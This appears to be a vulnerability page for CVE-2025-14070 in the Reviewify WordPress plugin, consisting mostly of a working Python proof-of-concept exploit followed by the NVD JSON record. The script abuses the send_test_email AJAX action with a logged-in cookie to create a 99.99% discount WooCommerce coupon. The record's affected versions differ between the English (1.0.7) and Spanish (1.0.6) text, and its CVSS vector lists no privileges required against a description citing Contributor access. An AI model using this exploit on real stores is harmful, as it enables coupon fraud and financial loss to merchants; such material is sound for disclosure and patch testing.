CVE-2025-14070

#!/usr/bin/env python3 """ CVE-2025-14070 PoC - WordPress Reviewify Plugin Unauthorized Coupon Creation This PoC demonstrates the privilege escalation vulnerability in Reviewify plugin <= 1.0.7 """ import requests import sys from urllib.parse import urlencode def exploit_reviewify(target_url, username, auth_cookie): """ Exploit the missing capability check in send_test_email AJAX action to create arbitrary WooCommerce discount coupons """ # Target AJAX endpoint ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Malicious coupon parameters coupon_data = { 'action': 'send_test_email', 'coupon_code': 'ATTACKER_COUPON', 'coupon_amount': '99.99', 'discount_type': 'percent', 'expiry_date': '2026-12-31', 'minimum_amount': '0', 'usage_limit': '1000' } headers = { 'Cookie': auth_cookie, 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting AJAX action: send_test_email") print(f"[*] Creating malicious coupon: ATTACKER_COUPON with 99.99% discount") try: response = requests.post( ajax_url, data=coupon_data, headers=headers, timeout=30 ) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[+] Response: {response.text[:500]}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python3 cve-2025-14070.py <target_url> <username> <auth_cookie>") print("Example: python3 cve-2025-14070.py http://example.com attacker 'wordpress_logged_in_xxx'") sys.exit(1) exploit_reviewify(sys.argv[1], sys.argv[2], sys.argv[3])

{"cve": {"id": "CVE-2025-14070", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:51.800", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Reviewify plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'send_test_email' AJAX action in all versions up to, and including, 1.0.7. This makes it possible for authenticated attackers, with Contributor-level access and above, to create arbitrary WooCommerce discount coupons, potentially causing financial loss to the store."}, {"lang": "es", "value": "El plugin Reviewify para WordPress es vulnerable a la modificación no autorizada de datos debido a una comprobación de capacidad faltante en la acción AJAX 'send_test_email' en todas las versiones hasta la 1.0.6, inclusive. Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador y superior, creen cupones de descuento de WooCommerce arbitrarios, potencialmente causando pérdidas financieras a la tienda."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://cwe.mitre.org/data/definitions/862.html", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/review-for-discount/tags/1.0.6/admin/class-xswcrd-review-discounts-admin.php#L425", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/review-for-discount/trunk/admin/class-xswcrd-review-discounts-admin.php#L425", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3434387/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9db8756a-a177-4d39-b169-dc874cac2b3b?source=cve", "source": "[email protected]"}]}}